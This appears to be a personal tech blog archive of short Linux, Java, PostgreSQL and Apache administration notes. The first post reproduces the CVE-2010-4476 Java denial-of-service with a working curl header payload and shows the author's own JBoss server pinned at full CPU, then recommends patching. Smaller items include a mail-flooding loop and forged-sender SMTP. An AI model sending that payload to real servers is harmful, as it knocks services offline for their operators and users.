Open Tech archive

DoS vulnerability in all java servers that was just published in CVE-2010-4476

2011-02-11T01:37:00.001+05:30

Oracle has given a fix for this here

Tested this bug on my jboss server and watched the increasing cpu utilization. Excited about this as I've started looking vmstat and top command outputs after yesterday's learnings about them which reports these performance details.

Here is the initial "vmstat 2" output when plain jboss process is running. You can see the 'us' column doesn't go beyond 6. 'us' columns is nothing but the time spent running non-kernel code which reflects to cpu utilization.

[prakash@cu255 CTF5.4.1]$ vmstat 2
procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
1 0 68444 168692 243820 747388 0 1 4 36 19 4 1 1 99 0 0
0 0 68444 168692 243820 747388 0 0 0 0 1113 561 0 0 100 0 0
1 0 68444 168692 243820 747388 0 0 0 0 1107 559 0 0 100 0 0
1 0 68444 162988 243820 747388 0 0 0 68 1115 528 33 2 65 0 0
0 0 68444 162988 243820 747388 0 0 0 0 1112 567 0 1 99 0 0
0 0 68444 162864 243820 747392 0 0 0 92 1117 563 0 0 99 0 0
0 0 68444 162864 243820 747392 0 0 0 98 1125 553 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 0 1115 575 0 1 98 0 0
0 0 68444 162864 243820 747392 0 0 0 60 1108 552 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 0 1120 575 0 0 100 0 0
0 0 68444 162864 243820 747392 0 0 0 60 1107 551 0 1 99 0 0
1 0 68444 162864 243820 747392 0 0 0 14 1120 570 0 0 100 0 0
1 0 68444 162864 243820 747392 0 0 0 0 1112 558 0 0 99 0 0
0 0 68444 162864 243824 747392 0 0 0 76 1109 561 0 1 99 0 0
0 0 68444 162864 243824 747392 0 0 0 0 1116 580 0 0 100 0 0
0 0 68444 162864 243824 747392 0 0 0 68 1113 562 0 0 100 0 0
0 0 68444 162864 243824 747392 0 0 0 6 1122 582 0 1 99 0 0
0 0 68444 162864 243824 747392 0 0 0 0 1102 541 0 0 100 0 0
1 0 68444 162484 243824 747392 0 0 0 86 1120 725 2 2 96 0 0
0 0 68444 162484 243824 747392 0 0 0 0 1108 570 0 0 100 0 0
0 0 68444 162484 243824 747392 0 0 0 72 1109 562 0 0 100 0 0
0 0 68444 162484 243824 747392 0 0 0 0 1120 576 0 1 99 0 0
0 0 68444 162484 243824 747428 0 0 0 16 1107 555 0 0 100 0 0
0 0 68444 161864 243824 747432 0 0 0 510 1187 657 6 5 89 0 0

Now I issue the DoS vulnerability command in another terminal using curl.

curl -H "Accept-Language: en-us;q=2.2250738585072012e-308" http://${HTTP_HOST}/requested_page

Here you can see, how much the 'us' column increased, it utilized to 100%. This makes my cpu % worst.

procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu------
r b swpd free buff cache si so bi bo in cs us sy id wa st
2 0 68444 161740 243856 747508 0 0 0 80 1108 592 99 1 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1102 579 98 2 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1108 569 99 1 0 0 0
1 0 68444 161740 243856 747508 0 0 0 60 1103 571 98 2 0 0 0
1 0 68444 161740 243856 747508 0 0 0 0 1108 571 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 94 1107 595 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 48 1085 544 99 1 0 0 0
1 0 68444 161740 243856 747512 0 0 0 8 1111 639 99 1 0 0 0
1 0 68444 161740 243856 747516 0 0 0 92 1102 541 99 1 0 0 0
1 0 68444 161740 243856 747516 0 0 0 0 1114 577 99 1 0 0 0
1 0 68444 161740 243856 747520 0 0 0 36 1116 596 98 2 0 0 0
1 0 68444 161740 243860 747528 0 0 0 124 1106 578 99 1 0 0 0
1 0 68444 161740 243860 747528 0 0 0 0 1107 585 98 2 0 0 0
1 0 68444 161740 243860 747528 0 0 0 72 1100 569 99 1 0 0 0
2 0 68444 161740 243860 747528 0 0 0 0 1112 591 99 1 0 0 0
1 0 68444 161740 243860 747528 0 0 0 0 1101 576 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 86 1119 575 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1102 561 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 82 1109 578 99 1 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1108 574 98 2 0 0 0
1 0 68444 161740 243860 747532 0 0 0 0 1099 589 100 0 0 0 0

Also the top command:

top - 11:58:41 up 17 days, 15 min, 4 users, load average: 1.05, 1.09, 1.00
Tasks: 123 total, 3 running, 119 sleeping, 0 stopped, 1 zombie
Cpu(s): 98.7%us, 1.0%sy, 0.0%ni, 0.0%id, 0.0%wa, 0.0%hi, 0.3%si, 0.0%st
Mem: 2059588k total, 1936104k used, 123484k free, 244512k buffers
Swap: 2096472k total, 68432k used, 2028040k free, 760124k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
28975 prakash 21 0 1428m 528m 16m S 99.9 26.3 20:59.60 /usr/java/jdk1.6.0_18//bin/java -Xms1024m -Xmx1024m -XX:MaxPermSize=256m -server -XX:+HeapDumpOn
29768 prakash 21 0 506m 77m 9100 S 0.3 3.8 0:03.08 /usr/java/jdk1.6.0_18//bin/java -Xms1024m -Xmx1024m -XX:MaxPermSize=256m -server -XX:+HeapDumpOn
10063 prakash 15 0 123m 2812 1648 S 0.0 0.1 0:00.20 /usr/sbin/httpd

You can see the %CPU of my jboss server box went up to 99.9%. So, it's good to have this patch in the jre versions which the server use.

Netstat analysis for outgoing/incoming connections

2011-02-10T04:46:00.000+05:30

netstat supports a set of options to display active or passive sockets. The options –t, –u, –w, and –x show active TCP, UDP, RAW, or Unix socket connections. If you provide the –a flag in addition, sockets that are waiting for a connection (i.e., listening) are displayed as well. This display will give you a list of all servers that are currently running on your system.

Invoking netstat -ta on vlager produces this output:

$ netstat -ta (you can also use -n option to avoid the dns lookup for displaying domain names, which will save performace).

Active Internet Connections
Proto Recv-Q Send-Q Local Address Foreign Address (State)
tcp 0 0 *:domain *:* LISTEN
tcp 0 0 *:time *:* LISTEN
tcp 0 0 *:smtp *:* LISTEN
tcp 0 0 vlager:smtp vstout:1040 ESTABLISHED
tcp 0 0 *:telnet *:* LISTEN
tcp 0 0 localhost:1046 vbardolino:telnet ESTABLISHED
tcp 0 0 *:chargen *:* LISTEN
tcp 0 0 *:daytime *:* LISTEN
tcp 0 0 *:discard *:* LISTEN
tcp 0 0 *:echo *:* LISTEN
tcp 0 0 *:shell *:* LISTEN
tcp 0 0 *:login *:* LISTEN

This output shows most servers simply waiting for an incoming connection. However, the fourth line shows an incoming SMTP connection from vstout, and the sixth line tells you there is an outgoing telnet connection to vbardolino.[1]

Using the –a flag by itself will display all sockets from all families.

Notes
[1]

You can tell whether a connection is outgoing from the port numbers. The port number shown for the calling host will always be a simple integer. On the host being called, a well-known service port will be in use for which netstat uses the symbolic name such as smtp, found in /etc/services.

Using vmstat for virtutal memory analyze

2011-02-10T03:36:00.000+05:30

vmstat, as its name suggests, reports virtual memory statistics. It shows how much virtual memory there is, how much is free and paging activity. Most important, you can observe page-ins and page-outs as they happen. This is extremely useful.

To monitor the virtual memory activity on your system, it's best to use vmstat with a delay. A delay is the number of seconds between updates. If you don't supply a delay, vmstat reports the averages since the last boot and quit. Five seconds is the recommended delay interval.

To run vmstat with a five-second delay, type:

vmstat 5

You also can specify a count, which indicates how many updates you want to see before vmstat quits. If you don't specify a count, the count defaults to infinity, but you can stop output with Ctrl-C.

To run vmstat with ten updates, five seconds apart, type:

vmstat 5 10

Here's an example of a system free of paging activity:

procs memory swap io system cpu
r b w swpd free buff cache si so bi bo in cs us sy id
0 0 0 29232 116972 4524 244900 0 0 0 0 0 0 0 0 0
0 0 0 29232 116972 4524 244900 0 0 0 0 2560 6 0 1 99
0 0 0 29232 116972 4524 244900 0 0 0 0 2574 10 0 2 98

All fields are explained in the vmstat man page, but the most important columns for this article are free, si and so. The free column shows the amount of free memory, si shows page-ins and so shows page-outs. In this example, the so column is zero consistently, indicating there are no page-outs.

The abbreviations so and si are used instead of the more accurate po and pi for historical reasons.

Here's an example of a system with paging activity:

procs memory swap io system --- cpu ---
r b w swpd free buff cache si so bi bo in cs us sy id
. . .
1 0 0 13344 1444 1308 19692 0 168 129 42 1505 713 20 11 69
1 0 0 13856 1640 1308 18524 64 516 379 129 4341 646 24 34 42
3 0 0 13856 1084 1308 18316 56 64 14 0 320 1022 84 9 8

Notice the nonzero so values indicating there is not enough physical memory and the kernel is paging out. You can use top and ps to identify the processes that are using the most memory.

You also can use top to show memory and swap statistics. Here is an example of the uppermost portion of a typical top report:

14:23:19 up 348 days, 3:02, 1 user, load average: 0.00, 0.00, 0.00
55 processes: 54 sleeping, 1 running, 0 zombie, 0 stopped
CPU states: 0.0% user, 2.4% system, 0.0% nice, 97.6% idle
Mem: 481076K total, 367508K used, 113568K free, 4712K buffers
Swap: 1004052K total, 29852K used, 974200K free, 244396K cached

Linux Free Command (Analysing RAM utilization)

2011-02-10T02:21:00.001+05:30

I was reading these and thought sharing them will be a useful.

The linux free command allows us to check free/used memory on the system The output below is the result of running free -m on my system (-m means output is in MB):

total used free shared buffers cached
Mem: 3856 1121 2735 0 17 180
-/+ buffers/cache: 923 2933
Swap: 2533 1044 1489

[edit]
Output explained

The first line starting with Mem: gives us the following information:

* total - is the total avaialble RAM (== Physical Memory) after subtracting the amount used by the kernel! In my case I have 4GB RAM and the total displays less than this.
* used - is the part of the RAM that currently has information in it that can be of use to the system (remember: unused RAM is useless, try to maximise this value)
* free - is just total-used
* shared - is the amount of memory shared between processes
* buffers and cached - the cached data and buffers for IO

The second line starting with -/+ buffers/cache: tells us how much of the memory in the buffers/cache is used by the applications and how much is free. Keep in mind that in general the cache is filled with disk IO cached data. The cache can be very easily reclaimed by the OS for applications. Let BUFFERS + CACHED from first line be value X.

X subtracted from the USED memory from the first line gives how much RAM is used by applications (USED value on second line)

X added to the FREE memory on the first line gives how much RAM applications can still request from the OS.

While the first line handles the values of currently used RAM, including applications and caches (but excluding kernel), the second line gives info on application related memory: how much is currently in use and how much is there still available for the applications.

You can find more info here

Using Find output and making a grep on it

2011-02-09T07:11:00.000+05:30

Some times, we may be in situation to find the list of files in a recursive directory and search for a specific contents in it.

Below is the command which does that. In below command I'm trying to find commons-beanutils.jar recursive in a directory and a grep command on the listed files to actually find do the jar files has class file 'BeanUtilsBean.class in it.

find . -name *beanutils*.jar -exec grep 'BeanUtilsBean.class' '{}' \;

How to view and change the timestamp of a file say creation date

2011-02-09T07:06:00.000+05:30

'stat' command will give the last-accessed/last-modified/file-created date with timestamps in it.

[prakashc@cu120 jbossweb-tomcat50.sar]$ stat commons-beanutils-1.8.0.jar
File: `commons-beanutils-1.8.0.jar'
Size: 231320 Blocks: 464 IO Block: 4096 regular file
Device: 303h/771d Inode: 6547316 Links: 1
Access: (0700/-rwx------) Uid: ( 7069/prakashc) Gid: ( 4001/__cubitu)
Access: 2011-02-09 07:01:55.000000000 +0530
Modify: 2011-02-09 05:50:40.000000000 +0530
Change: 2011-02-09 06:12:08.000000000 +0530

using 'touch' command you can modify the date created

touch commons-beanutils-1.8.0.jar -t [[CC]YY]MMDDhhmm [.SS]

MM - The month of the year [01-12].
DD - The day of the month [01-31].
hh - The hour of the day [00-23].
mm - The minute of the hour [00-59].
CC - The first two digits of the year.
YY - The second two digits of the year.
SS - The second of the minute [00-61].

Remove duplicate rows from postgress using ctid

2011-01-12T04:14:00.000+05:30

Today, I was in a situation to delete the duplicate row entries in a table which has all the column values similar including the unique constraints too.

I'm not sure how the table accepted the unique constraints of same value, it's been an large dataset and I guess some could've gone wrong on migration or some thing else.

While trying to reindex the table it failed stating

>>

reindexdb: reindexing of database "testdb" failed: ERROR: could not create unique index "folder_pk"

DETAIL: Table contains duplicated values.

<<

After trying to remove the duplicate values, I found all the columns values are similar including the primary keys,

So finally got an idea from one forum, which suggests to use the "ctid" of the rows to delete that.

It looks, for the table rows, internally there is ctid and you can view it using

select ctid, id from table;

Then, remove the specific rows which you need using the ctid.

"Lockness" eclipse thread dump analysis plugin

2010-10-26T12:31:00.000+05:30

There is a eclipse plugin "Lockness" for thread dump analysis (http://lockness.plugin.free.fr/setup.php). Using this we can analyze the thread locks to diagonalize the problems. To download (http://lockness.plugin.free.fr/archive/com.cr.lockness.Lockness_3.0.0.jar), put this jar to eclipse3.x/plugins dir and restart eclipse.

How to take a thread dump:

Sending "kill -3 signal to the JBOSS/TOMCAT process" will give you the whole thread dump. Ex: kill -3 #### -> process id.

After executing the above command, you can find thread dump in catalina.out for tomcat or server.log for jboss.

You've to trim the thread dump contents exactly from above log files, such that the dump file starts with "Full thread dump" and end with "VM Thread".

Also, if you have some timestamps added in thread dump, you can trim that using below cut command. For ex: say each line has some time stamps added like "2010-10-25 13:29:23 PDT", then to skip the first 3 columns. Use below command

cat threaddump.txt | cut -d " " -f4- > cut_file_threaddump.txt

The above command will skip first 3 columns and saves rest of the columns what we needed to cut_file_threaddump.txt.

Then from eclipse, create a new java project, create folder pointing to above create dump dir and opening this using "Lockness" thread dump analyser plugin will give you the analysis.

How to redirect ports inside same machine using IPTABLES

2010-08-19T15:12:00.000+05:30

As my mail server is running on port 8056, I got ended up searching to find a way to redirect all the mails which comes to port25 to port8056.

Below is one way of doing which helped me using iptables entry.

sudo iptables -t nat -A OUTPUT -p tcp -d 127.0.0.0/8 --dport 25 -j REDIRECT --to-port 8056
sudo iptables -t nat -A OUTPUT -p tcp -d x.x.x.x --dport 25 -j REDIRECT --to-port 8056
sudo iptables -t nat -A PREROUTING -p tcp --dport 25 -j REDIRECT --to-ports 8056

In the above commands

command 1 is to, forward port25 requests to port 8056 which are initiated via localhost. (i.e) telnet localhost 25.
command 2 is to, forward port25 requests to port 8056 which are initiated via IP address. (i.e) telnet x.x.x.x 25.
command 3 is to, forward the other network m/c requests to port 8056 through port25.

Soap calls using perl

2010-07-14T18:22:00.000+05:30

This seems to be the quick way for testing soap api's.

#!/usr/bin/perl

#use SOAP::Lite +trace => debug;
use TeamForge;
use Data::Dumper;

my($tf,$sk);

$tf = new TeamForge;
$tf->proxy('http://cu021.cubit.maa.collab.net');
$sk = $tf->loginAnonymous("guestuser");

die "Login failed" unless ($sk);

print Dumper($tf->getProjectData($sk,'proj1007'));

Boolean values

2010-06-10T16:24:00.000+05:30

0 - FALSE
1 - TRUE

Verfity certificate validity

2010-05-03T11:20:00.000+05:30

openssl x509 -in server.crt -text|less

egrep command

2010-05-03T11:17:00.002+05:30

egrep "28[u,w]|29[u,w]" /tmp/31752_lsof

egrep "(PROPFIND|OPTIONS)" | awk '{if ($6 > 60) print }'

Sending mail as different user

2010-04-21T11:56:00.000+05:30

# telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 hostname SMTP Server (JAMES SMTP Server 2.2.0) ready Mon, 20 Feb 2006 14:31:33 -0500 (EST)
ehlo yourEmailAddressDomain.com
250 hostname Hello yourEmailAddressDomain.com (hostname [127.0.0.1])
mail from:
250 Sender OK
rcpt to:
250 Recipient OK
data
354 Ok Send data ending with .
subject: test to testuser at JAMESServersConfigSetting.com

test

.
250 Message received
quit
221 hostname Service closing transmission channel
Connection closed by foreign host.
#

PostgreSQL Cheat Sheet

2010-02-27T16:13:00.002+05:30

CREATE DATABASE

CREATE DATABASE dbName;

CREATE TABLE (with auto numbering integer id)

CREATE TABLE tableName (
id serial PRIMARY KEY,
name varchar(50) UNIQUE NOT NULL,
dateCreated timestamp DEFAULT current_timestamp
);

Add a primary key

ALTER TABLE tableName ADD PRIMARY KEY (id);

Create an INDEX

CREATE UNIQUE INDEX indexName ON tableName (columnNames);

Backup a database (command line)

pg_dump dbName > dbName.sql

Backup all databases (command line)

pg_dumpall > pgbackup.sql

Run a SQL script (command line)

psql -f script.sql databaseName

Search using a regular expression

SELECT column FROM table WHERE column ~ 'foo.*';

The first N records

SELECT columns FROM table LIMIT 10;

Pagination

SELECT cols FROM table LIMIT 10 OFFSET 30;

Prepared Statements

PREPARE preparedInsert (int, varchar) AS
INSERT INTO tableName (intColumn, charColumn) VALUES ($1, $2);
EXECUTE preparedInsert (1,'a');
EXECUTE preparedInsert (2,'b');
DEALLOCATE preparedInsert;

Create a Function

CREATE OR REPLACE FUNCTION month (timestamp) RETURNS integer
AS 'SELECT date_part(''month'', $1)::integer;'
LANGUAGE 'sql';

Table Maintenance

VACUUM ANALYZE table;

Reindex a database, table or index

REINDEX DATABASE dbName;

Show query plan

EXPLAIN SELECT * FROM table;

Import from a file

COPY destTable FROM '/tmp/somefile';

Show all runtime parameters

SHOW ALL;

Grant all permissions to a user

GRANT ALL PRIVILEGES ON table TO username;

Perform a transaction

BEGIN TRANSACTION
UPDATE accounts SET balance += 50 WHERE id = 1;
COMMIT;

Basic SQL
Get all columns and rows from a table

SELECT * FROM table;

Add a new row

INSERT INTO table (column1,column2)
VALUES (1, 'one');

Update a row

UPDATE table SET foo = 'bar' WHERE id = 1;

Delete a row

DELETE FROM table WHERE id = 1;

MYSQL query output to a file

2010-02-27T12:43:00.001+05:30

select
*
from
table
where
condition
into
outfile '/tmp/result'

Using meta tags to block access to your site

2010-02-18T15:49:00.001+05:30

To entirely prevent a page's contents from being listed in the Google web index even if other sites link to it, use a noindex meta tag. As long as Googlebot fetches the page, it will see the noindex meta tag and prevent that page from showing up in the web index.

The noindex meta standard is described at http://www.robotstxt.org/meta.html. This method is useful if you don't have root access to your server, as it allows you to control access to your site on a page-by-page basis.

To prevent all robots from indexing a page on your site, place the following meta tag into the <head> section of your page:

<meta name="robots" content="noindex">

To allow other robots to index the page on your site, preventing only Google's robots from indexing the page:

<meta name="googlebot" content="noindex">

When we see the noindex meta tag on a page, Google will completely drop the page from our search results, even if other pages link to it. Other search engines, however, may interpret this directive differently. As a result, a link to the page can still appear in their search results.

Note that because we have to crawl your page in order to see the noindex meta tag, there's a small chance that Googlebot won't see and respect the noindex meta tag. If your page is still appearing in results, it's probably because we haven't crawled your site since you added the tag. (Also, if you've used your robots.txt file to block this page, we won't be able to see the tag either.)

If the content is currently in our index, we will remove it after the next time we crawl it. To expedite removal, use the URL removal request tool in Google Webmaster Tools.

Taken from: http://www.google.com/support/webmasters/bin/answer.py?answer=93710

Preventing DOS attack

2010-02-18T14:01:00.002+05:30

DOS attack is an attempt to make a computer resource unavailable to its intended users.

In a public site, the usual vulnerability we see is a DOS attack. Most of the time it used to be a crawler/spiders/bots/web-rippers. What we do know to stop them from attacking our site is to block them by individual or range of IP at network level.

Some spider/bots are intelligent enough to spoof IPs and so after some time, we again see a threat from them since they change their IP/IP range.

One other way to stop such crawler/spiders/bots/web-rippers is to block them by using useragent control.

#This was achieved using below snippet in httpd.conf

----------------------------------------
#Block access to robots
BrowserMatch emailsiphon badrobot
BrowserMatch BPFTP badrobot
BrowserMatch MSIECrawler badrobot
BrowserMatch WebStripper badrobot
BrowserMatch Offline badrobot
BrowserMatch Teleport badrobot
BrowserMatch Alkaline badrobot
BrowserMatch DLExpert badrobot
BrowserMatch HTTrack badrobot
BrowserMatch Controller badrobot

deny from env=badrobot

Also, for more information on apache access control http://httpd.apache.org/docs/2.2/howto/access.html

Java GC logging parameters

2010-01-28T14:16:00.000+05:30

-XX:HeapDumpPath=/tmp
-verbose:gc
-XX:+PrintGCTimeStamps
-XX:+PrintGCDetails

How to take a thread dump

2009-11-25T10:17:00.001+05:30

Yesterday, I was looking to find whether any daemon thread is running with in jboss server, which does an scheduled job.

Tried ps -efw but it didn't worked, as it's an internal thread, got some suggestions that dumpingthe jboss process will dump the name of daemon threaad and finally it worked great :)

# Find the running boss server process id.

ps -efww | grep 'java' #choose your jboss server pid.

# send thread dump signal.
kill -3 $pid

Load Test: Lucene 2.4 VS Lucene 2.9

2009-11-05T15:16:00.000+05:30

public class ContrivedFCTest extends TestCase {
public void testLoadTime() throws Exception {
Directory dir = FSDirectory.getDirectory(System.getProperty("java.io.tmpdir") + File.separator + "test");
IndexWriter writer = new IndexWriter (dir, new SimpleAnalyzer(), true, IndexWriter.MaxFieldLength.LIMITED);
writer.setMergeFactor(37);
writer.setUseCompoundFile(false);
for(int i = 0; i < 5000000; i++) {
Document doc = new Document();
doc.add (new Field ("field", "String" + i, Field.Store.NO, Field.Index.NOT_ANALYZED));
writer.addDocument(doc);
}
writer.close();

IndexReader reader = IndexReader.open(dir);
long start = System.currentTimeMillis();
FieldCache.DEFAULT.getStrings(reader, "field");
long end = System.currentTimeMillis();
System.out.println("load time:" + (end - start)/1000.0f + "s");
}
}

List ports used by java process

2009-11-03T12:04:00.001+05:30

Below is the command to list all the ports opened by a java process

sudo netstat -tulpn |grep java

Python socket programming

2009-10-26T15:05:00.001+05:30

I was in a situation to make the particular port listen,

Below code helped me in doing that simple.

import socket

#create an INET, STREAMing socket
serversocket = socket.socket(
socket.AF_INET, socket.SOCK_STREAM)
#bind the socket to a public host,
# and a well-known port
serversocket.bind((socket.gethostname(), 80))
#become a server socket
serversocket.listen(5)

To touch a folder contents recursive

2009-09-24T18:48:00.002+05:30

Some times you may need to alter the access date of files and folder. You can do it by a recursive touch command.

find . | xargs touch

psql output to file

2009-09-24T18:46:00.002+05:30

Below is the command to redirect psql output to a file.

psql> \o /tmp/file.txt
psql> select * from table

This should allow output to custom file.

Removing control characters - python

2009-09-18T19:28:00.001+05:30

You want a regex to remove control characters (< chr(32) and > chr(126)) from
strings ie.

line = re.sub(r"[^a-z0-9-';.]", " ", line) # replace all chars NOT A-Z,a-z, 0-9, [-';.] with " "

1. What is the best way to include all the required chars rather than list them all within the r"" ?

You have to list either the chars you want, as you have done, or the
ones you don't want. You could use
r'[\x00-\x1f\x7f-\xff]' or
r'[^\x20-\x7e]'

line = re.sub(r'[\x00-\x1f\x7f-\xff]', "", "test ^A ^B testing this again")

Intresting tip abt tcpdump

2009-09-18T14:32:00.002+05:30

Searched for a tool like wireshock in windows and came to know this!. This help me to dump the soap requests.

Here is the simple command.

sudo tcpdump -XX -s0 -i lo -w k "tcp port 80"

-XX: Print packets in hex and ASCII
-s0: Print whole packets, not only first 68 chars.
-i is the interface to monitor.

"tcp port 80" Filter expression.
-w output file.

This dumps all the requests and responses which are passing through tcp port 80!.

Apache Module mod_deflate

2009-09-02T19:27:00.001+05:30

Looking to tune the apache for performance, then this should help you out.

The mod_deflate module provides the DEFLATE output filter that allows output from your server to be compressed before being sent to the client over the network

This is a simple sample configuration for the impatient.
Compress only a few types

AddOutputFilterByType DEFLATE text/html text/plain text/xml

The following configuration, while resulting in more compressed content, is also much more complicated. Do not use this unless you fully understand all the configuration details.
Compress everything except images

# Insert filter
SetOutputFilter DEFLATE

# Netscape 4.x has some problems...
BrowserMatch ^Mozilla/4 gzip-only-text/html

# Netscape 4.06-4.08 have some more problems
BrowserMatch ^Mozilla/4\.0[678] no-gzip

# MSIE masquerades as Netscape, but it is fine
# BrowserMatch \bMSIE !no-gzip !gzip-only-text/html

# NOTE: Due to a bug in mod_setenvif up to Apache 2.0.48
# the above regex won't work. You can use the following
# workaround to get the desired effect:
BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html

# Don't compress images
SetEnvIfNoCase Request_URI \
\.(?:gif|jpe?g|png)$ no-gzip dont-vary

# Make sure proxies don't deliver the wrong content
Header append Vary User-Agent env=!dont-vary

Capture the results of the queries executed in mysqlclient in a file (no copy and paste)

2009-06-25T10:18:00.002+05:30

One way is to copy the mysqlclient screen and paste it into a text file. The other way is to use tee.

mysql>
mysql> tee mysql-1.txt
Logging to file 'mysql-1.txt'
mysql> show databases;
+----------------+
| Database |
+----------------+
| test_db |
| db_3 |
| db_4 |
| db_5 |
+----------------+
4 rows in set (0.00 sec)

mysql> exit
Bye

[thiru@cu065 tmp]$ less mysql-1.txt

mysql> show databases;
+----------------+
| Database |
+----------------+
| test_db |
| db_3 |
| db_4 |
| db_5 |
+----------------+
4 rows in set (0.00 sec)

mysql> exit

Sending mail through command line client.

2009-06-22T15:20:00.001+05:30

Some days back I'm in situation to test the continuous spamming of mails to my mail box.

This command did me the work

for i in `seq 1 35`; do echo "test" | mail -s test forum@email.com; done

Apache Directive

2009-06-03T20:06:00.004+05:30

This is used to process some section in httpd.conf based on the system argument.

The directives within an <ifdefine></ifdefine> section are only processed if the "test" variable is true. If "test" variable is false, everything between the start and end markers is ignored.

Example:

httpd -D test -k start

Starting the httpd with system parameter "test" will execute the below section or else it will skip those
<ifdefined>
...
...
</ifdefined>

This will be useful sometime when you try loading modules on specific arguments.

How to Telnet to a Web Server - HTTP Requests through Telnet

2009-06-01T15:16:00.002+05:30

Interesting, today I came to know there is a way through telnet to get the requests from the server.

Normally we don't see what sent between the web server and the client. Here is the way we can see what's actually received through the telnet.

To connect to the web server - open a command line and type the command
telnet host port

telnet localhost 8080

Then you'll get connected to the particular web server and then you can enter any HTTP command you want such as GET, HEAD.

If you need to request for a web page from the web server you can type the HTTP request as follows.

GET pageName HTTP/1.0
HEAD pageName HTTP/1.0

Hit enter twice. Then you will get a response.

You'll get a 404 status if page not found, 301 if the page is moved permanently and 401 if you are not authorized to access the page. More HTTP status codes can be found here.

Setup YUM installer repo

2009-04-30T15:30:00.001+05:30

To use the YUM installer you need to register the repo.

Create a file "/etc/yum.repos.d/centos.repo" and paste the below content.

[base]
name=CentOS-$releasever - Base
mirrorlist=http://mirrorlist.centos.org/?release=$releasever&arch=$basearch&repo=os
#baseurl=http://mirror.centos.org/centos/$releasever/os/$basearch/
baseurl=http://mirror.centos.org/centos/5/os/i386/
gpgcheck=0
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-centos4
protect=1

Linux maximum processes per user

2009-04-23T14:29:00.003+05:30

Recently I came to know there is a max count of processes allocated for each user. Below is the command to find the find that.

ulimit -u

Reference:
http://tldp.org/LDP/solrhe/Securing-Optimizing-Linux-RH-Edition-v1.3/x4733.html

Removing invalid xml characters

2009-04-17T17:31:00.002+05:30

Recently I came across oneof the good way to remove InvalidXmlCharacters. Below is the snippet.

/**
* Returns the input stripped of invalid XML characters.
*
* see http://www.w3.org/TR/2000/REC-xml-20001006#NT-Char for valid XML
* character list.
*/

public String removeInvalidXmlCharacters(String input)
{
if (input == null) {
return input;
}
char c;
StringBuffer sb = new StringBuffer();
for (int i = 0; i < input.length(); i++)
{
c = input.charAt(i);
//remove ZeroWidthSpace
if (c == '\u200b') {
continue;
}
if ((c == 0x9) || (c == 0xA) || (c == 0xD)
|| ((c >= 0x20) && (c <= 0xD7FF))
|| ((c >= 0xE000) && (c <= 0xFFFD))
|| ((c >= 0x10000) && (c <= 0x10FFFF))
) {
sb.append(c);
}
}
return sb.toString();
}

AWK to take last previous column

2009-04-16T11:28:00.001+05:30

You can use the below command to print last previous column.

awk '{print $(NF-1)}' access.log | sort | uniq | wc -l

Ubuntu youtube no sound in firefox

2009-04-08T08:13:00.003+05:30

I was continuously facing problem with sound while playing youtube using firefox. The youtube inturn uses gstreamer library to render the sound.

Finally got sound working after installing restricted packages!

Run "sudo apt-get install ubuntu-restricted-extras"

Paly and check your youtube for sound.

Subversion stress testing.

2009-04-03T14:14:00.002+05:30

Today for one of my friend I've explored a new tool, which was used for stress testing on subversion.

You can find the script here.

Basically the script is for performing multiple operations on the repository to test the load.

Find and Grep

2009-03-31T12:26:00.000+05:30

The find and grep are very usefull commands for development.

When you want to grep a content for the matching files, below commands will help you out.

In linux:
find /tmp -name 'page.xml' -print0 | xargs -0 grep "view_link=\"ReportView" | awk '{print $1}' | wc -l

In solaris:
find /tmp -name 'page.xml' -exec grep "view_link=\"ReportView" {} \; | wc -l

In the above command I'm trying to find page.xml inside /tmp dir and then search content "view_link=\"ReportView" from the find output.

STOP and START a running process.

2009-03-30T09:59:00.001+05:30

Send signals to the running process.

# sending STOP signal to the process will halt the process in it's current state.
sudo kill -STOP $pid.

# To confirm the process is stopped for a moment
sudo strace -p $pid. #this will leave traces of "STOPPED".

# send CONT signal to resume the process to start it's work
sudo kill -CONT $pid.

Inorder to make the process idle (to simulate deadlock situation) I've used the above technique to stop the process and test the status of the process.

To print shared library dependencies

2009-03-23T13:03:00.000+05:30

To know what are the libraries used by any program.

>>ldd /usr/bin/svn | grep db
>>libdb-4.7.so => /lib/libdb-4.7.so (0x00154000)
>>libdb-4.3.so => /lib/libdb-4.3.so (0x00cb0000)

Enable pgsql logging

2009-03-20T14:10:00.000+05:30

Some days back I came to situation to find when the table rows are inserted and deleted by an unknown thread!.

Got an idea from one of my colleague and enabled the pgsql logging. It worked great :)

To enable logging

# Edit the pgsql configuration file
/var/lib/pgsql/data/postgresql.conf

# Under section # ERROR REPORTING AND LOGGING
# Edit the logging options and set your preferrence!.

...
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_line_prefix = '%u %h %t'
log_statement = 'all'
log_hostname = on
...

# Go to pgsql logging dir and tail for the logfile.
cd /var/lib/pgsql/data/pg_log/

Recursive shell command s

2009-02-26T18:08:00.000+05:30

I was searching for macking the commands work recursively.

Below is the way to do it.

MIGRATION_CONFIG_FILE="$(dirname $(dirname $(readlink $0)))"/$CONFIGURATION_FILE.

Splitting a patch file

2009-02-16T12:37:00.001+05:30

Some times the patch file needs to be splitted to individual files for easy handling.

Below is the command to do that, cut the patch file matching pattern "Index:".

csplit artf21810.diff /Index:/ {*}

Script to delete folder in a loop

2009-02-13T19:45:00.001+05:30

#!/bin/sh
i=0
while [ $i -le 40 ]
do
folder="psr-pub-$i"
#chown apache:apache $folder -R
rm -rf $folder
i=`expr $i + 1`
done

Shell script to connect postgress in a loop

2009-02-13T19:42:00.000+05:30

i=211
while [ $i -le 250 ]
do
folder="psr-pub-$i"
echo "Starting processing $folder."
./svnmapping.sh $folder
